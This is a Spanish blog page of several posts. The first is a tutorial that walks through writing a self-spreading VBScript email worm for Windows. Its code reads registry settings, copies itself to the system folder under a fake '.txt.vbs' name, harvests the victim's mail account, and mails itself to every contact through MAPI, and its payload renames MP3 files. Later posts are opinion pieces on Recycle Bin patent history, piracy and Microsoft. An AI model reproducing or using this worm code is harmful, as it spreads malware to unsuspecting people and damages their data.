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Programando fácilmente un virus para Windows

Windows virii
Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software están hoy día al alcance de cualquiera. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fáciles de aprender y rápidos de implementar.
Los archivos de proceso por lotes de MS-DOS (ficheros de extensión .BAT) fueron aquellos grandes olvidados en la programación de virus. No obstante, los expertos en su diseño vieron en ellos una alternativa veloz y potente para desarrollar malware, y algún bicho codificado de aquella forma llegó a ver la luz, eso sí, sin gran incidencia.
Posteriormete, y gracias al procesamiento por lotes integrado en Windows a través de su herramienta de administración Windows Scripting Host (rebautizada en su segunda versión como Windows Script Host), los desarrollos víricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje, permitía generar virus mortíferos en horas o, incluso (dependiendo de la pericia del programador) en minutos.
Windows Script Host (WSH) es una utilidad administrativa que se provee con todas las versiones del sistema operativo del tío Bill desde Windows 98. En principio, su utilidad se basa en la generación de archivos de lotes, sin embargo, la potencia de estos ficheros con respecto a los antiguos ficheros batch es muy superior. La fortaleza reside en dos conceptos primordiales: los lenguajes de programación que implementa y los objetos del sistema que es capaz de manejar.
WSH permite utilizar en la actualidad un amplio abanico de motores de script en su desarrollo, a saber: VBScript, JScript, PerlScript, ooRexx Script, Python Script, Tcl Script, Active PHP Script, Ruby Script, Object Rexx engine y Delphi scripting engine. Cualquier programador con conocimientos básicos de prácticamente cualquier lenguaje puede desarrollar un script para WSH. Asimismo, estos archivos de guión son capaces de acceder a características varias de un sistema operativo tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el árbol de directorios, software instalado, Internet, archivos, etcétera. Una herramienta potente y un arma de doble filo.
Lo que se propone aquí es una introducción al entorno WSH a través de aplicaciones en VBScript, el lenguaje de guión más sencillo e intuitivo, hermano pequeño torpe de Visual Basic. Como todo tutorial de programación que se precie, es preceptivo comenzar con una aplicación "Hola mundo", si no esto ni es tutorial ni es nada. Los archivos de script se escriben como texto plano sin formato en cualquier editor al uso (como Bloc de notas, por ejemplo). El código, con métodos del propio WSH y en formato VBScript, es el que sigue:
WScript.Quit
El objeto
WScript proporciona el acceso a la raíz del modelo principal de objetos de WSH. No necesita ser declarado antes ser invocado, pues sus métodos y propiedades están siempre disponibles desde cualquier script. El método Echo muestra el cuadro de mensaje típico de Windows con un texto que se corresponde con la cadena alfanumérica que se le pasa como argumento ("Hola mundo"). Por último, el método Quit termina el script, forzándolo a parar su ejecución.
¿Sencillo, verdad? Este archivo lo debemos guardar con la extensión .VBS y, para ejecutarlo, sólo es necesario un doble clic en el icono correspondiente (o una llamada desde la línea de comandos de la consola).
Si hubiésemos deseado generar un fichero JScript, los métodos no habrían variado, pues son propios del WSH, sin embargo la sintaxis habría sido sutilmente distinta:
WScript.Quit ();
Este archivo, para que funcionara correctamente, habríamos de guardarlo con extensión
.JS.
Prosiguiendo con nuestra fatídica infección vírica, vamos a avanzar un paso más. Necesitamos conocer el idioma del sistema operativo, por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante:
Set WSc = CreateObject("WScript.Shell")
Sub Idioma ()
Dim LeerRegistro
LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Control _
Panel\International\iCountry")
Select Case LeerRegistro
Case 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58
IdiomaActual = 1
Case 1,44
IdiomaActual = -1
Case Else
IdiomaActual = 0
End Select
End Sub
Tras la declaración inicial de variables se asigna a
WSc el objeto WScript.Shell, que permite acceder al registro, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos líneas están fuera del procedimiento Sub porque necesitamos que sean declaraciones globales a todo el script (las utilizaremos después también).
El procedimiento Sub Idioma () permite leer la clave de registro que necesitamos mediante el método RegRead de WScript.Shell y almacenarla en la variable local LeerRegistro. En función del valor que guarde iCountry, se asignará un 1, un -1 o un 0 a la variable global IdiomaActual, que después necesitaremos para cribar nuestra infección. En el caso de que IdiomaActual valga 1, el payload (efecto visible del virus) será en castellano (se corresponde con los códigos locales de todos los países sudamericanos más España); en el caso de que IdiomaActual valga 1, el payload será en inglés (Estados Unidos más Gran Bretaña); en el caso de IdiomaActual valga 0 (no se ha podido determinar el idioma), el payload será también en inglés, por si las moscas.
Una vez obtengamos el idioma en el que está configurado el equipo que deseamos infectar, vamos a generar una copia del virus en el directorio del sistema para, desde ahí, enviarlo a los contactos de correo electrónico de la máquina víctima:
Set FSO = CreateObject("Scripting.FileSystemObject")
Sub CopiaMe ()
Dim DirectorioSistema
Set DirectorioSistema = FSO.GetSpecialFolder (1)
Set ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName)
Select Case IdiomaActual
Case 1
ArchivoAdjunto.Copy (DirectorioSistema & "\ayudame.txt.vbs")
ArchivoAdjunto = DirectorioSistema & "\ayudame.txt.vbs"
Case 0,-1
ArchivoAdjunto.Copy (DirectorioSistema & "\helpme.txt.vbs")
ArchivoAdjunto = DirectorioSistema & "\helpme.txt.vbs"
End Select
End Sub
Después de crear las variables globales pertinentes, generamos el objeto
FileSystemObject, de la librería de tipos (localizada en el archivo Scrrun.dll), y lo almacenamos en la variable FSO. Este objeto posibilita el acceso a la gestión de carpetas y archivos (crear, copiar, mover, eliminar…).
Ya dentro del procedimiento Sub, asignamos a DirectorioSistema el resultado de GetSpecialFolder (1), esto es, la localización de los archivos de sistema (directorio por defecto Windows\System). Ese 1 indica carpeta de sistema; 0 sería el directorio general Windows y 2 el directorio temporal Temp.
La propiedad ScriptFullName (sólo lectura) de WScript devuelve el nombre completo (ruta y nombre de archivo) del script actual mediante el método GetFile de FileSystemObject. Este nombre se guarda en la variable ArchivoAdjunto.
Recurriendo a la variable global anterior IdiomaActual, copiamos (Copy) nuestro virus (ArchivoAdjunto) a la carpeta de sistema con un nombre en castellano (máquinas hispanoparlantes) o en inglés (máquinas anglosajonas).
El proceso de ocultación de este tipo de virus es bien sencillo, así como tremendamente ineficaz en según que configuraciones. Bien es sabida la capacidad de los entornos Windows para ocultar las extensiones de tipos de archivos conocidos (activada por defecto). Así pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, .txt, seguida de la extensión de rigor para el archivo de script (.vbs). De esta manera, y sólo si la característica de ocultación de extensiones está activada, el receptor del malware visualizará únicamente el nombre del archivo (en este caso ayudame.txt o helpme.txt), creyendo que lo que le remiten es un simple archivo de texto (¿nadie mira los iconos?). La sorpresa será mayúscula al momento de ejecutarlo.
El siguiente paso es obtener los datos de la cuenta de correo electrónico de la víctima:
Sub Cuenta()
Dim LeerRegistro, NuevaClave
WSc.RegWrite "HKEY_CURRENT_USER\Software\Microsoft _
\Windows Script Host\Settings\Timeout",0,"REG_DWORD"
LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Software\ _
Microsoft\Internet Account Manager\Default Mail Account")
NuevaClave = "HKEY_CURRENT_USER\Software\Microsoft _
\Internet Account Manager\" & "Accounts\" & LeerRegistro
ServidorSMTP = WSc.RegRead (NuevaClave & "\SMTP Server")
NombreCuenta = WSc.RegRead (NuevaClave & "\Account Name")
Correo = WSc.RegRead (NuevaClave & "\SMTP Email Address")
End Sub
Mediante un acceso al registro igual al anterior, extraemos la clave que guarda el nombre de la cuenta de correo por defecto (
Mail Account) y generamos una nueva cadena con otra clave de registro más el nombre de la cuenta. De esta nueva clave leemos y almacenamos la dirección del servidor SMTP de correo saliente, el nombre de la cuenta y la dirección de correo electrónico.
Lo ideal ahora sería actuar sobre las reglas de mensaje del software cliente de correo electrónico, eliminándolas para que permitan el envío sin cortapisas. No nos detendremos en ello por no alargar más el asunto, pero el código no sería para nada complicado, teniendo en cuenta que se encuentran definidas y almacenadas también en el registro de Windows (las de Outlook Express 5, por ejemplo, en HKEY_CURRENT_USER\Identities\XXXX\Software\Microsoft\Outlook Express\5.0\Rules\Mail).
Una vez recabados todos los datos, vamos a enviar nuestro virus por correo electrónico:
Set MAPISession = CreateObject ("MSMAPI.mapiSession")
Set MAPIMessage = CreateObject ("MSMAPI.mapiMessages")
Dim i
MAPISession.LogonUI = False
MAPISession.DownloadMail = False
MAPISession.SignOn
Set MAPIAddress = MAPISession.AddressList (0)
For i = 1 To MAPIAddress.AddressEntries.Count
MAPIAddress.AddressEntries (i)
MAPIMessage.SessionId = MAPISession.SessionId
MAPIMessage.Compose
MAPIMessage.RecipDisplayName = "<atacante@virus.soy>"
MAPIMessage.MsgSubject = "Asunto del mensaje"
MAPIMessage.MsgNoteText = "Cuerpo del mensaje"
MAPIMessage.AttachmentIndex = 0
MAPIMessage.AttachmentPathName = ArchivoAdjunto
MAPIMessage.AttachmentPosition = 0
MAPIMessage.Send (0)
Next i
MAPISession.SignOff
End Sub
En este procedimiento
Sub, simplemente nos servimos de MAPI (en castellano Interfaz de Programación de Aplicaciones de Mensajería) para enviar el correo con el archivo adjunto. Los métodos que proporciona MAPI son lo suficientemente claros y se explican por sí mismos (iniciar sesión, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesión). El envío se remite a todos los contactos de la cuenta de correo en cuestión mediante un bucle que los recorre desde el primero hasta el último (MAPIAddress.AddressEntries.Count).
Y, para finalizar, nos queda por programar el payload del virus, esto es, la acción visible (o no visible) que se ejecutará en la máquina infectada. El payload de un virus corre a cargo de la imaginación de cada uno. En función del hijoputismo con el que deseemos actuar, la acción final de un virus puede ir desde la simple molestia de mostrar un mensaje en pantalla, hasta la eliminación de archivos vitales para el usuario o para el sistema operativo (librerías .DLL, ficheros multimedia .MP3 o .AVI, documentos .DOC, .XLS o .MDB, fotografías .JPG, etcétera).
Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestro payload simplemente mostrará un mensaje en pantalla y renombrará todos aquellos ficheros en formato MP3 que encuentre exclusivamente en el directorio raíz del disco duro principal. Así de sencillito:
Dim Carpeta, ArchivoMP3
WScript.Echo "Soy un virus malo malísimo."
Set Carpeta = FSO.GetFolder ("C:\")
For Each ArchivoMP3 in Carpeta.Files
If Right (ArchivoMP3.Name, 3) = LCase ("mp3") Then
FSO.MoveFile ArchivoMP3.Path, Replace ("C:\" & _
ArchivoMP3.Name, ".mp3", ".vir")
End If
Next
End Sub
Mediante el método
GetFolder de FileSystemObject, declarado anteriormente, asigno a la variable Carpeta la ruta especificada para, después, recorrer todos los archivos de esa ruta (Carpeta.Files) mediante un bucle (For Each... Next) comprobando si su extensión es la que busco (Right (ArchivoMP3.Name, 3) = LCase ("mp3")). En caso afirmativo, renombro (FSO.MoveFile) cada fichero, cambiando su extensión de .MP3 a .VIR.
La programación de virus al alcance de cualquiera es una realidad desde hace ya muchos años. Pero otra cosa también, la policía no es tonta y conocerá al cien por cien quién ha programado un virus, cuándo lo liberó en Internet y dónde apareció por primera vez. ¿Cómo lo hacen? De eso nos ocuparemos otro día. Hack the planet!, pero poquito y con cuidadín, que hacer el mal por hacer el mal es de bobos patológicos.
La Papelera de reciclaje: una historia de robos y patentes

Papelera de reciclaje
Windows 95 (1995) fue el primer sistema de Microsoft en introducir la Papelera de reciclaje en el Escritorio, aunque bien es cierto que las últimas versiones de MS-DOS (desde la versión 5.0) disponían del comando UNDELETE que hacía las veces de recuperador de archivos borrados de una forma bastante macarrónica.
En MS-DOS 6.0 (1993), Microsoft implementó la primera función de recuperación de archivos eliminados más parecida a su futura Papelera de reciclaje. Se llamaba Delete Sentry y tenía la capacidad de interceptar los ficheros borrados por el usuario para enviarlos a un directorio oculto \SENTRY en la raíz del disco. Delete Sentry se cargaba automáticamente en el inicio (vía el archivo AUTOEXEC.BAT) y purgaba, o eliminaba definitivamente, todo lo borrado después de siete días o cuando el 20% del disco duro estaba utilizado por archivos desechados.
¿Qué sucedió entre MS-DOS 6.0 y Windows 95? ¿Por qué Microsoft dejó en el olvido esta característica? La verdad es que en ningún momento se olvidó de ella, sino que tuvo problemas legales con Apple, ya que en los primeros entornos gráficos de la compañía de la manzana mordida aparecía una arcaica papelera para archivos eliminados. Steve Jobs se creía dueño y señor de la idea y no le permitió a Bill Gates la utilización del sistema de reciclado bajo amenazas de demanda.

Papelera de Microsoft Windows 95
La realidad es que la primera versión de Windows (1983) era un poco patatera en su funcionamiento y tuvo muy poca repercusión, en buena parte por las patentes de Apple que, papeleras aparte, tampoco autorizó a Microsoft el empleo de ventanas que se solaparan o la utilización de tareas múltiples. Años después, un juez consideraría que las demandas de Apple no tenían consistencia legal, y permitió a Microsoft desarrollar su sistema plenamente.
Apple introdujo la primera papelera en su ordenador llamado Lisa (1983), un equipo muy avanzado para la época, con soporte multitarea, memoria virtual o soporte para ratón, entre otras singularidades. Sin embargo fue un fracaso total de ventas debido a su elevado precio; un Apple Lisa, en enero de 1983, costaba 9.995 $. Casi nada.
La papelera del Lisa se llamaba Wastebasket (algo así como “cesta de desperdicios” en castellano). Tenía una manera de funcionar bastante similar a lo que conocemos ahora, permitiendo arrastrar y soltar documentos o carpetas encima de ella para eliminarlos. Asimismo, desde el menú Housekeeping de la interfaz disponíamos de la opción Empty "Wastebasket", que permitía vaciar la papelera.

Papelera de Apple Lisa
Es curioso manejar un Apple Lisa y ver que los, por poner un ejemplo, sistemas Windows actuales mamaron intensamente su GUI de aquellos tiempos. Elementos como la papelera, el portapapeles o la jerarquización de los discos, y características como el doble clic, el copiar, cortar y pegar o el deshacer, son piezas o ingredientes omnipresentes desde finales de los años setenta.
El aspecto y el funcionamiento de esa papelera del Lisa poco cambiaría en los posteriores Macintosh de Apple, ya que mantiene su aspecto de cubo de basura metálico, aunque si bien en Lisa tiene la tapa abierta, después la dibujarían con la tapa cerrada. Lo que sí varió es el nombre, ya que la empresa de Jobs decidió pasar a llamarla simplemente Papelera (Trash, en las versiones inglesas), que es el nombre que ha arrastrado hasta la actualidad.
¿Pero, por qué se cambió el nombre de forma tan repentina? ¿Es posible que en Apple tuvieran también problemas con patentes de terceros? Mucho más que posible, y es que a Steve Jobs, cuando intimidaba duramente a Bill Gates para que no utilizara su papelera, se le olvidó mencionar un pequeño detalle: la idea de la papelera no era suya, sino de la empresa Xerox PARC, una división de Xerox Corporation, con sede en Palo Alto (California), fundada en 1970 como consecuencia directa del fenomenal éxito de la empresa matriz y con el objetivo de investigar en las nuevas tecnologías.
La compañía Xerox PARC ha pasado a la historia por ser la creadora de muchos de los estándares tecnológicos actuales, pero también por su incapacidad para hacerlos cristalizar en productos que fueran comercializables y económicamente rentables. Han sido los demás los que se han apropiado muchas veces de sus inventos y los han hecho famosos y populares.
Xerox PARC es conocida y reconocida por ser la primera empresa en desarrollar un ordenador personal con interfaz gráfica, más o menos agradable, y con un concepto de lo que hoy conocemos como Escritorio. Ello lo plasmó en dos de sus creaciones, el Xerox Alto (1973) y, sobre todo, el Xerox Star (1981). Este último incluía una papelera denominada, curiosamente, Wastebasket. Qué casualidad, ¿verdad?

Papelera de Xerox Star
Xerox Star (formalmente Xerox 8010 Star Information System) fue el primer sistema comercial en incorporar varias tecnologías que han llegado a ser hoy en día corrientes en computadores personales, incluyendo la pantalla con imágenes del tipo mapa de bits (en lugar de sólo texto), una interfaz gráfica de usuario basada en ventanas, iconos, carpetas, control del ratón, red Ethernet, servidores de archivos, servidores de impresión y e-mail. Impresionante para la época, pero cierto.
Steve Jobs se dio un paseo por las oficinas de Xerox PARC en Palo Alto en 1979 y quedó profundamente impresionado con las interfaces gráficas de usuario. Se enamoró tanto de aquellos entornos revolucionarios que volvió a Apple con la idea entre ceja y ceja de copiar esa tecnología para su próxima máquina, el Apple Lisa.
Quizás tanto robo de ideas llevó a Xerox PARC a patentar el icono de su Wastebasket en 1988; por lo menos que no nos birlen el dibujo, pensarían. El funcionamiento de esta papelera era muy similar al que conocemos hoy en día, como un contenedor intermedio de archivos eliminados que, eventualmente, se podían recuperar antes de vaciarlo por completo.

Primera página de la patente del icono de Xerox
En fin, Xerox PARC inventa la rueda, Apple la redondea y Microsoft le pone un agujero, pero luego dicen todos que la cosa es suya, no del otro. En concepto de software propietario y diseño cerrado, Microsoft se ha llevado las bofetadas de más de medio mundo a lo largo de los años, pero empresas como Apple han sido (y siguen siendo) más restrictivas con mucho.
Pero no sólo Microsoft y Apple se beneficiaron del trabajo de Xerox PARC, otras muchas empresas chuparon del bote en mayor o menor medida. Compañías como Atari, Commodore, Digital Research, Sun Microsystems o Adobe desarrollaron productos que fueron inspirados o influenciados directamente por la interfaz de usuario del Xerox Star.
Las patentes son al software lo que los derechos de autor a la música. No se pueden poner barreras al campo, y menos en una era digital e informatizada como en la que vivimos. El software libre (que no gratis) y el código abierto siempre han sido la solución, lo que ocurre es que la mayoría todavía no lo han sabido ver porque están cegados por el deslumbrante color verdoso de los billetes de un dólar.
A ellos, más que a nadie, les interesa la piratería

Sí a la piratería
¿A quién? A ellos, a los desarrolladores de software, a los productores musicales y a las compañías cinematográficas. ¿Por qué? Pues porque un producto es más asequible al gran público cuanto más pirateable es, y esa asequibilidad renta pingües beneficios a sus creadores, con muchos ceros a la derecha, en concepto de publicidad gratuita.
¿Alguien se ha preguntado alguna vez por qué Microsoft no desarrolla una técnica realmente efectiva contra la piratería de sus productos de software? No, no es porque no pueda o no tenga la capacidad para ello, es porque no le interesa. Sus sistemas operativos y sus paquetes de aplicaciones ofimáticas representan, probablemente, el más alto porcentaje de programas informáticos fusilados del mercado. Cuando asacan un nuevo sistema para evitar el software ilegal, a la mañana siguiente se pueden descargar de Internet tres o cuatro parches que revientan la traba de seguridad en cinco segundos. Entonces, la empresa deja pasar unos cuantos meses para reinventar la rueda y anunciar el sistema antipirateo de los sistemas antipirateo; y vuelta a empezar.
Si Windows es un sistema operativo que tiene tanta aceptación es porque cualquiera lo ha podido instalar en su equipo desde sus comienzos sin pasar por caja y fácilmente. Y ahora ya es muy difícil detener esa tendencia, aunque existan sistemas mucho mejores y gratuitos, pues la conciencia colectiva sólo entiende que un ordenador es eso que lleva un Windows dentro. ¿Fue Microsoft, en su día, negligente con su actitud antipiratería o mantuvo una política de marketing perfectamente orquestada y dirigida con el fin del dominio del mercado?
A día de hoy, WinZip sigue siendo el software de compresión más utilizado en el mundo, aunque bien es cierto que eso va dejando de ser una realidad poco a poco. El formato ZIP, y su posterior versión para Windows, viene de los inicios de la informática de consumo, prácticamente. La empresa optó por un modelo de negocio pionero en su época, consistente en ofrecer una aplicación que no era gratuita, sino de prueba por un tiempo. El concepto de shareware, que permite seguir utilizando el programa tras el tiempo estipulado (en este caso) con algún inconveniente nimio (como esperar algunos segundos para su carga), hizo posicionarse a WinZip en el número uno del mundo de la compresión en lo que a fama se refiere. Y, aunque parezca mentira, existen miles de empresas que compran WinZip para evitar los interminables tiempos de espera (que con el tiempo van aumentando) cuando su negocio depende de ello.
El más famoso es el más conocido, y el más conocido es el que se puede obtener gratis. No hay más cera que la que arde. La estrategia consiste en capturar el interés de la gente, después crear una necesidad para, al final, comenzar a cobrar por servicios alternativos o ampliados, como ha hecho Skype, RealPlayer y tantos otros. Y como hacen los creadores independientes de software, que muchas veces piratean ellos mismos sus propios programas con el objeto de darles publicidad y, cuando se hacen necesarios, empiezan a ganar dinero con su venta o con su ampliación en prestaciones no gratuitas.
Lo mismo ocurre en el mundo de la música. Los artistas que dicen perder tanto dinero con la piratería simplemente mienten o dicen lo que les han ordenado decir sus compañías. Evidentemente, la descarga gratuita de discos produce menos ventas en las tiendas, eso lo ve un ciego. Pero lo que nunca comentan es que el número de sus conciertos se ha multiplicado por cinco (o más) desde que su música es más asequible al público. Y, hoy en día, todo perro pichichi debería saber que de donde sacan sus sueldos los músicos es de los conciertos, no de la venta de sus discos, de la que ganan una auténtica miseria.
Conocidísimos son casos como el de El Koala, que comenzó distribuyendo su música gratuitamente a través de Internet y terminó por grabar discos y hacer conciertos por toda la geografía española como el que más. O como el del grupo de rap Violadores del Verso, que colgó su último disco en la Red semanas antes de que saliera a la venta, consiguió miles de descargas y, posteriormente, muchos más miles de ventas. El pueblo es caprichoso y no le gusta que le traten como si fuera idiota.
La industria del cine está en el mismo saco. Resulta que la piratería está matando al mundo cinematográfico, pero cada vez se construyen más salas en centros comerciales, más exclusivas, más caras y, encima, se llenan más. Los productos inteligentes aparecen con nuevas características, como el 3D, que atraen a la gente al cine, y luego se hinchan a vender deuvedés en ediciones especiales con tomas falsas y comentarios del director.
¿Seguro que están perdiendo tanto dinero? Algunos, desde luego, yo creo que no; ¿será que lo hacen mejor que los demás? Que no se te olvide nunca que los que te dicen que no copies sus películas y su música, son los mismos que luego te venden grabadoras de DVD y aparatos portátiles o de salón que reproducen archivos DivX y MP3 (llámalo equis o llámalo Sony, como te apetezca). Lo dicen con la boquita pequeña.
Los directores amateur se buscan la vida colgando sus cortos en Internet, haciéndose un nombre y una fama en un medio que es gratuito, y acercan su trabajo a un público objetivo infinitamente más amplio que cuando debían ir arrastrándose ante los productores para que visualizaran su cinta y terminaban en la calle con una patada en el mismísimo culo. La cuestión no es que los artistas y los creadores se mueran de hambre por culpa de la piratería, es que los multimillonarios peces gordos de las industrias que más dinero fácil han ganado a lo largo de sus vidas ven como su castillo de naipes se desmorona con inexorable continuidad.
Los modelos han de cambiar y, afortunadamente, están ya cambiando. La Red no debe verse como algo peligroso, sino como una nueva oportunidad de negocio fundamentada en nuevos pilares, tendencias y objetivos. Lo que no es de recibo es la amenaza, el chantaje, la prohibición y la censura. No, ya no estamos en aquella época, ya no somos los pardillos ignorantes y manejables que movían de aquí para allá a su antojo. El poder de encumbrar o defenestrar algo lo tenemos nosotros ahora, y si no os gusta ya os podéis volver al cómodo y moderno despacho del que nunca debisteis salir. Los piratas 2.0 mandamos ahora; Internet es nuestra patria y el pendón negro nuestra bandera; que lo sepáis…
El legado de Microsoft

El tío Bill
Sé que algunos me van a dedicar más de un improperio después de leer este post, pero creo que lo escribo desde la imparcialidad y desde la perspectiva de los años. No me gustaría decantarme hacia un lado o hacia otro, porque estoy convencido de que en el equilibrio está la virtud. Y eso precisamente es lo que promulgo: equilibrio.
Que Microsoft ha sido una de las empresas más influyentes de las últimas décadas pienso que nadie es capaz de ponerlo en duda. Bill Gates siempre fue un niño pijo, hijo de pijos y nieto de pijos. De familia más que acomodada y niño de papá, con posibles para poder acceder a los mejores colegios y universidades. Un, posteriormente, empresario elitista de la época dura de los empresarios elitistas, tiburones del mercado con ansias de comerse la tarta enterita sin dejar ni una mísera guinda al competidor.
Pero lo que no se le puede negar a Bill Gates es su cualidad de visionario. Fue capaz de vislumbrar en su época un negocio que los demás no supieron ver ni de lejos, o que atisbaron pero con muy pocas pretensiones. Eso sí, quizás no de manera filantrópica, porque su principal interés era forrarse de pasta. Que se puede esperar del hijo de un abogado.
El amigo Gates compró sistemas operativos, copio sistemas operativos y hasta robó ideas, presuntamente, de sistemas operativos. Pero con aquel batiburrillo de aquí y de allá consiguió amalgamar proyectos con una característica que sus rivales no tenían: la sencillez de uso. Hizo llegar a toda la población lo que en aquel entonces sólo disfrutaban cuatro frikis gafotas en los laboratorios de computación de las universidades y en las grandes compañías de informática.
Este hombre consiguió que el ordenador se popularizara y, de paso, hizo multimillonaria a IBM. Quizá sus sistemas operativos no fueran los mejores del mercado (que no lo eran), pero desde luego sí eran los más populares y los más fáciles de manejar. Igual su propia incompetencia en el tema le obligó a crear herramientas de manejo sencillo y así poder utilizarlas sin una curva de aprendizaje interminable, no sé, pero lo que está claro es que lo suyo cuajó de la noche a la mañana cuando los demás se andaban dando de hostias para vender cualquier pieza de software.
Otra contribución importante al éxito y a la divulgación fue el precio. Cuando los grandes del sector se afanaban en comercializar sus productos a precios desorbitados, atando de por vida a las empresas con contratos exclusivos de mantenimiento y actualización, Microsoft optó por la táctica de vender al menor precio pero vender más, desarrollando para plataformas compatibles con IBM y, por lo tanto, liberalizando su producto.
El problema vino años después. Cuando el virus de la codicia había infectado silenciosamente el mundo, los productos de Microsoft pasaron a convertirse en inexplicablemente imprescindibles. Tú tenías la posibilidad de adquirir otros sistemas operativos, pero debías olvidarte de factores como la facilidad de manejo, la compatibilidad de hardware o un amplio catálogo de software. Y eso le causo (y le causa) graves problemas monopolísticos al, hoy, gigante de Redmon. La invasión taimada y silenciosa a lo largo del tiempo se ha hecho visible.
El legado que deja Microsoft con el paso de los años es una dura losa que no puedes quitarte de encima porque te dejaría a la intemperie. Pero es que hoy por hoy no existe alternativa válida (aquí es cuando se me echan encima todos los linuxeros y los maqueros juntos). ¡Permiso para explicotearme, señor! Permiso concedido.
Particularmente soy usuario de Ubuntu y Debian a diario, además del Windows de rigor de la oficina. Soy pro Linux 100% y defensor del software libre; además es un sistema operativo que me fascina, porque tiene un encanto que nunca llegaran a tener todos los güindouses juntos. También hubo una época que manejé bastante un Mac, si bien es cierto que es un entorno que no conozco tanto como Linux o Windows. El caso es que no hablo desde la perspectiva del desconocimiento, sino precisamente desde el ángulo equilibrado del usuario informático que mira a uno y otro lado. Y esta perspectiva es la que me lleva a afirmar que ni Linux ni Mac OS son, a día de hoy, sistemas operativos que pudieran desbancar al todopoderoso Windows. Y no porque no tengan cualidades para ello, que las tienen y de sobra, sino por los efectos del virus invasivo y silencioso del que hablábamos antes. Windows está tan estandarizado que resultaría imposible hacer cambiar el chip al 90% de la población usuaria de ordenadores. Hay personas que piensan que un ordenador es una cosa con Windows dentro.
Hay que empezar de cero otra vez, y las bases ya se están sentando en muchos centros de estudios infantiles. Si a un niño le enseñas desde pequeño a utilizar una distro de Linux, por ejemplo, no acudirá a otro sistema operativo en su vida. Pero me da que habrá que hacerlo así, porque si no va a ser muy difícil. Está claro que existen millones de usuarios que serían susceptibles de cambiar a otro sistema operativo en poco tiempo, pero el ordenador personal está tan, tan extendido que la mayoría de personas de menos de 30 años y la práctica totalidad de los de más de 30 no sería capaz. Hay que tener en cuenta que el ordenador lo manejan en casa (o en el trabajo) mi padre, la vecina del cuarto, la peluquera, el dentista, la secretaria, el piloto comercial, el albañil, la abuela de mi prima, el chico de los recados, el tío ese tan raro que nunca saluda, la del perrito blanco, la cajera del súper, la que siempre me encuentro en el ascensor, el chaval del balón, la chica de la inmobiliaria y hasta yo. Es decir, todo Dios. Y para lo único que lo quiere la mayoría es para pasar las fotos del crío, para chatear con el Messenger, para hacer algún cartelito de la comunidad de vecinos en Word, para buscar algo por Internet y para bajarse películas con el eMule. ¿A esta gente la queremos migrar a openSUSE? Lo dudo mucho.
Microsoft acercó el mundo de la informática hasta al menos pintado; tiró el anzuelo, todos picamos y ahora es muy complicado evitar esa dependencia. Y lo cierto es que muchos de los talibanes de Linux que por ahí pululan no habrían olido un ordenador en su vida si no hubiera sido gracias a las fechorías perpetradas por Bill Gates en su época.
Microsoft y Windows popularizaron los ordenadores y también Internet, e Internet popularizó Linux. ¿Qué habría sido de la historia de la informática si Bill Gates no hubiera nacido? ¿Estaría yo escribiendo este post desde mi Firefox corriendo sobre un Ubuntu Karmic Koala? A Dios lo que es de Dios, y al César lo que es del César. Creo que es de recibo admitirlo sin que se nos caigan los anillos.

